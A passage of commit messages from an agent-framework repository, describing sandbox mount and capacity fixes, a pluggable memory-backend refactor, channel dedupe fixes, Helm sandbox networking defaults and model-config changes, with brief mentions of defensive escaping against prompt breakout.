for the nonexistent tmp config_path - no replacement monkeypatch needed.

* fix(sandbox): make skill projection ensure best-effort in acquire

acquire() called _ensure_skills_projection() directly, outside any
try/except, in both LocalSandboxProvider and AioSandboxProvider. Every
other skill-mount setup path in these providers has always caught
exceptions and logged a warning rather than failing sandbox acquire
outright (e.g. when config.yaml can't be resolved) - these two new call
sites broke that contract, so any projection failure (including simply
not having a config.yaml, as in CI's test environment) now failed
acquire() itself instead of just leaving skill mounts off.

_ensure_skills_projection now catches its own exceptions and returns
None; both providers' callers already tolerate that (a None projection
skips the skill-specific mounts, matching the existing degrade path)
after making _append_public_skill_mapping and the custom/legacy mount
block in LocalSandboxProvider explicitly None-safe.

Caught by running the full suite with config.yaml removed, matching
CI's environment - not caught locally because a real config.yaml was
present, masking the failure.

* fix(sandbox): make E2B skill projection mounts best-effort

_skill_projection_mounts called ensure_skill_projections with no guard,
unlike Local/AIO's _ensure_skills_projection. A raise propagated out of
_apply_mounts before the configured-mounts loop ran, so a skills
projection failure dropped the operator's own configured mounts too -
only caught by create()'s outer warning, with nothing applied at all.

Swallow here and return an empty mount list on failure, matching the
Local/AIO pattern: still fail-closed for skills, but no longer widens
the blast radius to unrelated configured mounts.

Review feedback from PR #4178.

* docs(skills): document projection trade-offs flagged in review

- _update_tree_digest: note the metadata-only (not content) hashing
  trade-off and why runtime writes through this codebase are still
  covered regardless (rebuild-under-lock + rename always changes inode).
- LocalSandboxProvider.acquire: note the acquire-time self-heal cost
  (cheap on a fresh manifest, ~400ms rebuild under lock on stale/drift).
- skill_projection_mutation: drop the no-op except-Exception-then-raise;
  a raise from the mutation already propagates past the yield with the
  view left cleared, no explicit re-raise needed.
- provisioner README: spell out that hostPath skills volumes require
  the gateway and K8s node to share DEER_FLOW_HOST_BASE_DIR (single-node
  or shared storage), and that the custom/legacy volumes' hostPath type
  Directory (not DirectoryOrCreate) makes a violation of that assumption
  a visible Pod-creation failure instead of a silent empty mount.

* fix(sandbox): enforce E2B replica capacity limits (in-process)

Add SandboxCapacityExceededError with diagnostic fields.  Add
overflow_policy (wait/reject/burst), acquire_timeout, and burst_limit
config options.

Implement atomic capacity reservation with a four-slot model:
reserved / active / warm / transitioning.  Transitioning slots close
the window where active-to-warm or warm-to-active transitions appear
to have zero occupied slots, which would let concurrent acquires
exceed the configured replica ceiling.

Re-route release, reclaim, and evict through transitioning counters.
Add shutdown guard: reject waiters, kill VMs created during shutdown.

Add 14 tests: policy enforcement, release+acquire race, warm-reclaim
race, shutdown-waiter interaction, shutdown-during-create, and
concurrent different-thread capacity assertion.

[feat] memory: pluggable MemoryManager interface for backend onboarding (#4326)
* refactor(memory): pluggable MemoryManager interface for backend onboarding

Optimize the MemoryManager interface layer so new backends (mem0/openviking)
onboard with less code and the contract stays stable as capabilities are
added. A minimal backend now implements only from_config + add + get_context
(verified by test_memory_manager_interface.py::_MinimalBackend onboarding via
the factory); the factory no longer knows a backend's private hooks.

- MemoryManager: ABC -> pydantic BaseModel; three-tier methods (tier-1
  add/get_context abstract; tier-2 management defaults; tier-3 optional hooks
  warm/reload/fact + on_pre_compress/on_turn_start). Dropped 3 self-serving
  hooks. 6 hasattr probe sites -> direct call + try/except NotImplementedError.
- from_config classmethod: factory thins to resolve + inject storage_path +
  collect host hooks + call from_config; DeerMem-specific hook consumption
  moved from factory to DeerMem.from_config.
- Invariants: @model_validator (mode='tool' requires search via supports_search
  ClassVar); DeerMemConfig storage_path-is-file check moved here from factory.
- Async: aadd/aget_context/asearch default to the sync path (speculative).
- Callbacks: MemoryCallbacks + LangfuseMemoryCallbacks; on_memory_llm_call
  subsumes tracing_callback (same signature/timing/mutation); deleted the
  tracing_callback field. DeerMem decoupled from langfuse (portability).
- noop keeps read-op empty overrides (avoids router 500s on the
  disable-memory-via-noop path); only delete/export inherit the base raise.

Behavior preserved: 661 passed / 13 skipped. Docs: backends/README.md rewritten
(three-tier + from_config + callbacks); samples README updated; removed stale
private doc paths.

* fix(memory): 501 on unsupported read/manage endpoints + accurate warm log

Review follow-up on the three-tier MemoryManager refactor.

- Read/manage endpoints (GET /memory, /memory/export, /memory/status,
  DELETE /memory, POST /memory/import) and the /memory/reload fallback now
  catch NotImplementedError -> 501, matching the fact-CRUD endpoints. The
  hasattr->try/except migration had skipped these: they were @abstractmethod
  before (every backend implemented them, so they never raised), so once they
  became tier-2 default-raise a minimal backend (only add + get_context) hit a
  raw 500 -- there is no global NotImplementedError handler. get_memory is
  shared via _get_memory_or_501 (covers /memory, export, status, reload
  fallback). noop is unchanged: its read-op empty overrides never raise.
- warm() base default returns None (tri-state: True=warmed, False=failed,
  None=nothing to warm) so the Gateway lifespan logs "skipping" for a
  non-DeerMem backend (e.g. noop) instead of the inaccurate "warmed
  successfully" it never earned. DeerMem.warm keeps True/False.
- Tests: 6 router 501 tests (read/manage + reload fallback) + 2 lifespan
  warm-log tests (None->skipping, False->warning); conformance/pluggable
  assert warm() is None.

705 passed / 13 skipped; lint clean.

* fix(memory): review follow-ups - search-flag consistency, client reload, backend_config purity

Address review feedback on the three-tier MemoryManager refactor:

- [Medium] supports_search/search drift: the invariant now requires the
  supports_search ClassVar flag to MATCH whether search() is actually
  overridden (type(self).search is not MemoryManager.search), so the flag
  can't drift from the impl. Catches both directions at instantiation: a
  backend that overrides search() but forgets supports_search=True (was a
  misleading tool-mode rejection), and one that sets the flag without
  overriding (was a runtime NotImplementedError on the first memory_search).
  noop sets supports_search=True to match its search() override. Conformance
  adds drift + consistent-backend tests.
- [Low] client.reload_memory fallback: wrap the get_memory fallback so a
  minimal backend (only add + get_context) surfaces a clean NotImplementedError
  ("implements neither reload_memory nor get_memory") instead of an uncaught
  propagation -- mirrors the router's 501. Test added.
- [Low] backend_config purity: DeerMem.from_config restores backend_config to
  the pure data the host passed after model_post_init parses the injected hooks
  into DeerMemConfig (self._config, PrivateAttr); the field stays serializable
  (no callables/LLM) and matches the README ("host hooks NOT in backend_config").
  Test asserts purity + hooks wired.
- [Low] CHANGELOG: breaking-change note that mode='tool' + non-search backend
  now fails fast at startup (was silently empty) so operators recognize it on
  upgrade.
- [Nit] .gitignore: drop the env-specific .tmp-pytest/ entry (--basetemp is
  local-only, not make test/CI).

709 passed / 13 skipped; lint clean.

* docs(changelog): correct memory tool-mode fail-fast note

The CHANGELOG entry said mode='tool' + a non-search backend "(e.g. noop)"
fails fast at startup, but noop overrides search() (returns []) and sets
supports_search=True (required by the consistency invariant), so noop IS
search-capable and noop+tool does NOT fail fast. The fail-fast only affects a
custom backend that onboards without overriding search(). Reworded to drop the
misleading noop example and state both shipping backends implement search().

fix(channels): key inbound dedupe on chat-scoped workspaces (#4287)
* fix(channels): key inbound dedupe on chat-scoped workspaces

* fix(channels): release the inbound dedupe key on swallowed transient failures

_release_inbound_dedupe_key runs from _handle_message's generic exception
handler, but three sites handle their error in place and never re-raise, so
the key recorded on receipt survives the full dedupe TTL and the provider's
redelivery -- the retry that would have recovered the failure -- is dropped:

- _handle_streaming_chat swallows every stream error into its finally block
- the fire-and-forget runs.create busy branch
- the non-streaming runs.wait busy branch

Keying chat-scoped workspaces gives telegram/feishu/wechat/dingtalk a dedupe
key for the first time, which newly exposes them to this. The mechanism is
pre-existing, not introduced here: WeCom already had a key (streaming plus
aibotid) and shows the same black hole on main.

Also parametrize the dispatch dedupe test over all three chat-scoped
providers so the streaming path is covered end-to-end, and restate the
workspace-fallback comment in terms of what the chain actually guarantees --
both fallbacks are appended last and gated on every earlier source being
absent, so they can only turn "no key" into a key, never change one.

* fix(channels): publish final reply before dedupe release

Covers both surfaces that report markdown_file: the gateway uploads route

* fix(uploads): release the claimed markdown name when conversion fails

Claiming the companion .md name before conversion means a conversion that
writes nothing leaves the name reserved for the rest of the request, so a
later same-stem upload is renamed against a name nothing occupies. Uploading
notes.docx (conversion fails) + notes.md stored the user's file as notes_1.md
with no notes.md on disk, where main kept notes.md.

Discard the claim when conversion returns None, at both call sites that

fix(helm): default sandbox Services to ClusterIP (#3929) (#4190)
* fix(helm): default sandbox Services to ClusterIP (#3929)

The K8s sandbox provisioner supports both NodePort and ClusterIP via
SANDBOX_SERVICE_TYPE (added in #4016), but the Helm chart never set it,
so real-cluster installs inherited the NodePort default. That bound the
code-execution sandbox on every node's interfaces - including externally
reachable ones on GKE/EKS/AKS - and pinned every sandbox URL to one node
IP (SPOF on node reboot/drain/ephemeral-IP).

Default the chart to ClusterIP: the provisioner returns a cluster-DNS URL
(http://sandbox-<id>-svc.<ns>.svc.cluster.local:8080) so the gateway->
sandbox hop stays inside the cluster network - no node IP, no 30xxx port,
no external exposure. The chart always runs the gateway in-cluster, so
ClusterIP is always correct there.

NodePort remains an opt-in (provisioner.sandboxServiceType: NodePort +
nodeHost) for the Docker-Compose/hybrid path where the gateway is not in
K8s and cannot resolve .svc.cluster.local; the provisioner code default
stays NodePort for that path.

- values.yaml: add provisioner.sandboxServiceType ("ClusterIP")
- provisioner-deployment.yaml: emit SANDBOX_SERVICE_TYPE; gate the
  NODE_HOST block on NodePort mode (default "ClusterIP" for upgrade safety)
- NOTES.txt + README.md: document ClusterIP default + NodePort opt-in

No change to docker/provisioner/app.py (already mode-aware since #4016)
or RBAC (services verbs already cover ClusterIP).

* test(helm): assert sandbox Service-type gating + CHANGELOG the default flip (#3929)

Address review on #4190:

- Add scripts/check_chart_sandbox_service.sh: renders the chart for the
  default (ClusterIP, no NODE_HOST), the NodePort opt-in (both emitted),
  and NodePort+nodeHost (literal value, not downward API). Locks in the
  #3929 gating so a regression (e.g. re-adding an unconditional NODE_HOST,
  or dropping the `default "ClusterIP"` upgrade-safety fallback) fails CI.
  Wired into .github/workflows/chart.yaml validate-chart job. (#2)
- CHANGELOG [Unreleased] -> Changed: note the NodePort->ClusterIP default
  flip on upgrade + the `sandboxServiceType: NodePort` opt-back-in. (#4)

No chart template changes (the gating itself landed in the first commit).

feat(memory): pluggable memory abstraction with self-contained DeerMem backend (#4122)
* feat(memory): pluggable + self-contained memory system (MemoryManager plan phases 1 & 2)

Phase 1 — Pluggable (steps 0-10):
- ABC MemoryManager (9 methods) + singleton factory + drop-in backend discovery
- DeerMem default backend with core/ (storage/queue/updater/prompt/message_processing)
- NoopMemoryManager backend (proves pluggability)
- All call sites (middleware/hook/prompt/gateway/client/app) routed through manager
- hasattr capability probing for DeerMem-internal methods (no hard imports)
- MemoryConfig gains manager_class field; shared vs DeerMem-private annotated

Phase 2 — Self-contained DeerMem (steps 11-18):
- backend_config passthrough + DeerMemConfig (all DeerMem-private fields moved off MemoryConfig)
- DI: DeerMem owns storage/queue/updater/llm as instance attributes (no global singletons)
- Storage independence: core/paths.py with own root (~/.deermem or ),
  factory auto-injects deer-flow's runtime_home() as absolute base_dir (zero-config)
- LLM independence: core/llm.py via langchain init_chat_model (no create_chat_model)
- Trace independence: optional tracing_callback replaces inject_langfuse_metadata/request_trace_context
- Message processing independence: hide_from_ui default-skip + optional should_keep_hidden_message hook
- Internal imports → relative (only deer_mem.py ABC import is host-relative)
- Carrier (deer_mem.py adapter) / portable (deermem/ config+core) split
- New tests: test_deermem_self_contained + test_memory_manager_pluggable; all memory tests migrated
- Other-agent demo: samples/other_agent_demo/ + automated portability test
- config.example.yaml memory section updated to phase-2 schema

* feat(memory): port consolidation + staleness fix into self-contained DeerMem; phase-2 host hooks

Port upstream #3996 (memory consolidation) and #3993 (staleness KeyError fix)
from origin/MemoryManager into the pluggable, self-contained DeerMem structure
(backends/deermem/deermem/), adapted to the DI MemoryUpdater (config injected,
not get_memory_config globals):

- DeerMemConfig: add consolidation_enabled (opt-in, default false) /
  consolidation_min_facts / consolidation_max_groups_per_cycle /
  consolidation_max_sources
- prompt.py: factsToConsolidate JSON field + {consolidation_section} placeholder
  + CONSOLIDATION_PROMPT constant
- updater.py: _coerce_source_confidence / _select_consolidation_candidates /
  _build_consolidation_section module helpers (matching the existing
  _select_stale_candidates style); consolidation normalization in
  _normalize_memory_update_data; consolidation apply in _apply_updates (after
  max_facts trim, with apply-time guardrails mirroring staleness); staleness
  KeyError fix (f["id"] -> f.get("id") is not None) applied to both the
  staleness guardrail and the consolidation allowed_source_ids comprehension
- config.example.yaml: consolidation section under memory.backend_config
- tests/test_memory_consolidation.py: 40 DI-adapted tests (running, not skipped)
  incl. the staleness KeyError regression

Also includes in-flight phase-2 host-integration work: storage_path semantics
(any absolute/relative value = root dir) and host-default tracing_callback /
should_keep_hidden_message hooks injected into backend_config by the factory.

* feat(memory): add noop backend template and backends guide

- backends/noop/: complete drop-in template (config.py with zero deer-flow
  imports, noop_manager.py with a 6-step new-backend walkthrough in its
  docstring, commented optional fact-CRUD capabilities).
- backends/README.md: which files to touch when adding/swapping a backend,
  the 5-item backend contract, and common pitfalls.
- manager.py: generalize backend examples in comments (drop mem0-specific
  references).

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(frontend): guard formatTimeAgo against invalid timestamps

Return a neutral placeholder when the input date is invalid (e.g. an empty lastUpdated from a backend with no memories) instead of throwing 'Invalid time value' from date-fns.

Co-Authored-By: Claude <noreply@anthropic.com>

* feat(memory): wire tool-driven memory mode through the MemoryManager ABC

tools.py (memory_search/add/update/delete) now calls get_memory_manager()
instead of the removed host memory module, so tool mode (memory.mode: tool)
works for any backend. DeerMem.search is implemented (case-insensitive
substring match, ranked by confidence) as a stand-in for the planned
semantic retrieval; noop.search returns [] (unchanged). Fact-CRUD tools
use getattr+callable probing -- backends lacking those ops (noop) get a
clear JSON error instead of crashing.

Tests: test_memory_tools rewired to mock the manager (handler tests) +
TestModeGating retained; test_memory_search now covers DeerMem.search;
pluggable stubs test updated (search no longer a stub).

* fix: resolve lint errors (import sorting, type annotation quotes, E402 in skipped tests)

* docs: restore explanatory comments in config.example.yaml memory section

* fix(security): port html-escape memory facts fix (#4097) to vendored DeerMem prompt.py

* fix(memory): address review + port dropped upstream memory fixes

Review blockers (vendored DeerMem):
- #4044 restore _escape_memory_for_prompt (current_memory blob in
  MEMORY_UPDATE_PROMPT) - prevents </current_memory> breakout
- #4028 html.escape staleness-section cat/content in _build_staleness_section
- #4119 add _escape_summary for injection-path summaries (Work/Personal/
  Current Focus/Recent/Earlier/Background)
- default-model silent no-op: factory injects host default chat model via a
  new host_llm slot (create_chat_model(name=None)); DeerMem prefers host_llm
  over build_llm(model). Zero-config extraction works out of the box again
- MemoryConfigResponse: fix stale docstring (backend-agnostic shape; DeerMem
  knobs live under backend_config, not top-level - restoring flat would
  re-couple the API to DeerMem). Frontend audited: does not read /memory/config
- _host_default_tracing_callback: restore langfuse assistant_id/environment
- search: push category onto the ABC signature; DeerMem filters BEFORE the
  top_k slice (was filtered client-side after slicing -> starved results)
- _do_update_memory_sync: split into wrapper+impl; bind trace_id into the
  request-trace ContextVar on the Timer/executor worker via a new
  trace_context_manager host hook (None trace_id left unbound - no fabrication)
- client.py fact-CRUD now passes user_id (was writing to the global bucket
  while get_memory reads per-user)
- _resolve_manager_class: fail-fast (raise ValueError) on an unresolved
  explicit manager_class instead of silently falling back to DeerMem (memory is
  persistent state - a wrong store is a silent data-integrity footgun)

Upstream memory fixes dropped by the host->vendored rename conflict, re-ported
to backends/deermem/deermem/core/ (+ deer_mem.py):
- #4073 queue busy-timer-spin -> _reprocess_pending flag (core/queue.py)
- #4074 null source.confidence in staleness -> _coerce_source_confidence
  (core/updater.py: _build_staleness_section + _apply_updates stale sort)
- #4075 factsToRemove is optional (drop from _REQUIRED_MEMORY_UPDATE_TOP_LEVEL_KEYS)
- #4076 null confidence in search ranking -> _coerce_source_confidence
  (deer_mem.py DeerMem.search)

host_llm + trace_context_manager are host-injected via backend_config (factory
in manager.py), keeping backends/deermem/ at exactly one `from deerflow` line
(the ABC contract) - portability test preserved.

* fix: resolve lint errors (F541 f-string without placeholders, E501 line too long)

* fix(memory): restore hide_from_ui clarification preservation, expose mode

Two memory-system fixes (F541/E501 lint was already fixed on this branch):

- filter_messages_for_memory: restore default preservation of well-formed
  human_input_response clarification answers (v2 regression). The
  self-containment refactor made the bare function skip ALL hide_from_ui when
  no hook was passed, but upstream preserves well-formed clarification
  responses by default (test_hide_from_ui_human_input_response_is_preserved).
  Inline a host-agnostic _is_human_clarification_response mirror of
  read_human_input_response as the default keep-decision; the host-injected
  should_keep_hidden_message hook still overrides (production path unchanged).
  Portable package stays zero `from deerflow`.

- /memory/config: expose `mode` (middleware|tool) in MemoryConfigResponse +
  the config/status endpoints + client.get_memory_config. mode is a host-
  shared, behavior-determining field missing from the response projection.
  Sync tests (mock .mode; e2e assert mode present).

- Align manager_class field docstring with fail-fast behavior.

Tests: filter/self-contained/portability (35) + memory-config (4) pass;
ruff clean.

* fix(memory): resolve ruff format failures in memory module + tests

`make lint` runs `ruff format --check` in addition to `ruff check`; 8 memory
files had pending format changes -- 7 pre-existing (deer_mem, updater, tools,
test_memory_queue/router/search/tools) + message_processing from the
hide_from_ui fix. Apply `ruff format`: whitespace/wrapping only, no logic
change. 109 memory tests pass; ruff check + format --check both clean.

* fix(memory): address PR review - legacy field migration, fact_id contract, path/docs

Address willem-bd's review on PR head bc8bf0d4 (risk:high, persistent state):

- config: auto-migrate pre-abstraction top-level memory.* DeerMem fields
  (storage_path, max_facts, debounce_seconds, model_name, token_counting,
  staleness_*, consolidation_*) into backend_config on load + warn, so an
  upgrade does NOT silently revert customized settings (was: silent
  extra='ignore' drop). model_name -> backend_config.model.model. Unknown
  top-level keys warned.
- factory: resolve a relative backend_config.storage_path against runtime_home()
  (base_dir-relative, CWD-independent) to preserve pre-abstraction semantics;
  paths.py stays portable (no runtime_home import).
- tools: memory_add uses the fact_id returned directly by create_fact instead of
  re-deriving it via content-key matching (coupled the tool to the backend's
  content normalization; could misreport a storage cap). create_fact now returns
  (memory_data, fact_id); gateway/client/tool updated. Fix terse
  {"error":"content"} -> {"error":"empty content"}.
- app.py: update stale token_counting=="char" warm-up comment to point at
  manager.warm (DeerMem.warm re-checks char and returns early).
- router: comment explaining reload_memory silent fallback vs fact 501 asymmetry
  (read-only degrade vs write fail-loud).
- CHANGELOG: document breaking changes (/memory/config + client.get_memory_config
  shape flat->backend_config; custom storage_class path moved + __init__ must
  accept config) and the legacy-field auto-migration.
- tests: add regression test pinning the per-user memory path
  ({storage_path}/users/{safe_user_id}/memory.json == host make_safe_user_id)
  across the abstraction; update create_fact mocks for (memory_data, fact_id).

Tests: 273 passed (memory suite); ruff check + format clean.

* fix(memory): address PR review - storage_path, max_facts, tracing, parsing

Six review findings (willem-bd), each verified against upstream:

- storage_path semantics (file -> root dir): migration drops file-style
  (.json) legacy values with a warning; factory raises if storage_path
  resolves to an existing file (avoid silent NotADirectoryError write
  failure). CHANGELOG + config.example.yaml comment updated.
- create_memory_fact enforces max_facts again (via _trim_facts_to_max) and
  returns (memory, None) when the cap evicts the new fact; memory_add tool
  reports "not stored", client raises ValueError, POST /memory/facts -> 409.
- max_facts trim uses _coerce_source_confidence (was raw f.get("confidence",
  0) -> TypeError on non-float imported/legacy confidence, swallowed as
  silent update failure).
- memory-tracing assistant_id restored to "memory_agent" (was "lead-agent"
  copy-paste; matches upstream + DeerMem run_name).
- _is_human_clarification_response cross-checked against
  read_human_input_response (drift guard test).
- empty-string legacy values skipped silently in migration (narrow fix, not
  broad "if not value" which would skip explicit bool False).

8 new regression tests. make lint + 406 memory tests pass.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(memory): address internal review - storage fail-fast, build_llm degrade, config warn, noop template

Addresses 4 findings from the PR #4122 internal supplemental review
(parallel to willem-bd's review, no overlap):

- create_storage fail-fast: a misspelled/unimportable storage_class now
  raises ValueError instead of silently falling back to FileMemoryStorage.
  Memory is persistent state, so a wrong store is a data-integrity footgun;
  mirrors the existing manager_class resolution policy. (storage.py)

- noop template create_fact signature: the commented template used
  keyword-only `content` and returned a bare dict, while DeerMem's actual
  create_fact takes positional `content` and returns tuple[dict, str|None]
  (the memory_add tool passes content positionally; gateway/client/tools all
  tuple-unpack). A backend copied from the template would 500 on fact-CRUD.
  Template fixed; delete_fact/update_fact templates left (callers compatible).
  (noop_manager.py)

- build_llm graceful degrade: wrap init_chat_model in try/except, degrade to
  None + WARNING on failure (mirroring _host_default_llm) so a misconfigured
  explicit model does not crash app startup -- non-LLM memory ops still work
  and an update raises at runtime with the error logged. (llm.py)

- from_backend_config unknown-key warning: log a WARNING for unknown
  backend_config keys (mirrors the host layer's load_memory_config_from_dict)
  so a typo like `storage_pat` does not silently fall back to the default and
  write memory to an unintended location. (config.py)

Tests: rewrote 3 create_storage fallback tests to expect ValueError; added 4
tests (build_llm zero-config/degrade, from_backend_config warn/silent).
make lint green; full memory suite passes.

fix(models): scope the OpenAI-compat rules to BaseChatOpenAI, not a class-path allowlist (#4146)
* fix(models): scope the OpenAI-compat rules to BaseChatOpenAI, not a class-path allowlist

* address review: drop redundant stream_usage helper, close test matrix

- Remove _enable_stream_usage_by_default and its now-unused _OPENAI_COMPAT_USE_PATHS
  tuple. The class-field stream_usage fallback already sets stream_usage=True for
  every BaseChatOpenAI subclass (they all declare the field), so the helper's
  use-path allowlist gated nothing real — verified a no-op in prod, and the two
  stream_usage tests stay green on main with the helper present. Those tests used a
  BaseChatModel stub that does not declare the field; point them at a real ChatOpenAI
  capturing class so they exercise the fallback they now depend on.
- Give the non-OpenAI normalization-skip test an actual api_base value so it exercises
  the skip path (api_base passed through verbatim, never rewritten to base_url).
- Add an Unreleased CHANGELOG entry for the api_base behavior change on the five
  affected subclasses.
